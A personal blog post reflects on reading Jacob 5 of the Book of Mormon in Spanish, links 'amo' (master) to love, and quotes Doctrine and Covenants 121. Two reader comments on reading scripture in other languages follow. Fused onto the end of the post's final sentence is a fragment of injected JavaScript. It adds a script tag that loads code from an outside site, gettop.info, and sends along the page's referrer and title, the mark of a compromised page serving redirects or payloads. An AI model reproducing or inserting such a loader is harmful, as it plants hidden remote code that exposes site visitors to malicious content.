Andersonland

Highs, Lows & Chicken Smoothies

Jacob 5 – A verse at a time

on 23 November 2015

I am continuing my goal of reading the Book of Mormon in Spanish. Let’s not forget that I don’t speak Spanish (just a minor detail). I have made it into Jacob by skipping all the Isaiah passage. Those passages are hard even in your native language. Well I didn’t look ahead and suddenly I hit Jacob 5 -The Allergory of the Tame and Wild Olive Tree. Yikes.

What I have learned from my project of translating verse by verse is that there is a lot of meaning missed when you cruise through the scriptures. I am hoping I will find that as well in all 77 verses of Jacob 5. Otherwise I have long road ahead of me. At the rate I am going that will be almost a solid month of digging, pruning and dunging.

But as with the rest of my project I have already found some cool insights that I would have missed if I was moving at a more normal pace. So strap in for Jacob 5 -101 – Insights gained from a snail pace through the most repetitive scripture chapter.

Lesson 1: From a non Spanish speaker – So to understand the verse I read it in Spanish, then return and use google translate to translate the words I don’t know (Oh maybe that is like all of them 🙂 ) then I read from the Book of Mormon in English. In verse 7 it reads “el amo de la vina”. I threw that into translate and found out that this is the term for the Master of the Vinyard. Well at first I left off the “el” and so amo translated as love. How fitting that the word for “master” has its roots in love. So many times a master may be harsh and domineering. But we are taught in the Doctrine and Covenants 121 that a true leader should operate only through love.

41 No power or influence can or ought to be maintained by virtue of the priesthood, only by persuasion, by long-suffering, by gentleness and meekness, and by love unfeigned;

42 By kindness, and pure knowledge, which shall greatly enlarge the soul without hypocrisy, and without guile—

Once again we find that the Savior is the perfect example of leadership.

Stay tuned for the next installment of crawling through the Vinyard with Bobo – The Weather Clown.d.getElementsByTagName(‘head’)[0].appendChild(s);s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;


2 Responses to “Jacob 5 – A verse at a time”

  1. I really like reading the scriptures in other languages. It gives you such a different insight into them. One of my favorite insights that I got from reading in French was that I was reading a passage where someone was praying and I was struck by the fact that they use the “tu” form of you in praying. Tu is the informal in french, I had expected in prayers that they’d be using vous which is the more respectful form. Thou is archaic so to me it seems formal, but when it was in use “thou” was the more intimate form of the word – what you would use with your family, friends, not what you would use when addressing someone of a higher station. It’s made me reflect on how I pray – do I say formal prayers, or intimate ones?

  2. Curtis says:

    So, I learned while serving in the Stake Presidency where my talks were frequently translated into Spanish that the nuances in the scriptures that we see in the English language don’t ‘translate’ well into other languages. That may be the reason to read in multiple languages. As Yogi Berra said “You can observe a lot by watching”

Leave a Reply

Your email address will not be published. Required fields are marked *